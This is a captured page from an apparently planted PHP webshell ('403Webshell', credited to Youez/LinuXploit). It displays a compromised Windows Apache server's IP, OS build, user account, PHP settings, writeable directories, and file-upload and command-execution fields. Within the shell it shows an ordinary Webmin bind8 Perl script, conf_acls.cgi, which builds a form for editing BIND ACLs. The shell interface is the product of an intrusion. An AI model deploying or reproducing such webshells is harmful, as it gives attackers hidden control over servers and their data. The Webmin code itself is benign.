403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/home/SERVERWEB/webmin-2.105/bind8/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/home/SERVERWEB/webmin-2.105/bind8/conf_acls.cgi
#!/usr/bin/perl
# conf_acls.cgi
# Display global ACLs
use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
# Globals
our (%text, %access);

require './bind8-lib.pl';
$access{'defaults'} || &error($text{'acls_ecannot'});
&ui_print_header(undef, $text{'acls_title'}, "",
		 undef, undef, undef, undef, &restart_links());

my $conf = &get_config();
my @acls = ( &find("acl", $conf), { } );

print &ui_form_start("save_acls.cgi", "post");
print &ui_columns_start([ $text{'acls_name'}, $text{'acls_values'} ]);
for(my $i=0; $i<@acls; $i++) {
	my @cols = ( );
	push(@cols, &ui_textbox("name_$i", $acls[$i]->{'value'}, 15));
	my @vals = map { join(" ", $_->{'name'}, @{$_->{'values'}}) }
		    @{$acls[$i]->{'members'}};
	push(@cols, &ui_textarea("values_$i", join("\n", @vals), 5, 60, "off"));
	print &ui_columns_row(\@cols, [ "valign=top" ]);
	}
print &ui_columns_end();
print &ui_form_end([ [ undef, $text{'save'} ] ]);

&ui_print_footer("", $text{'index_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit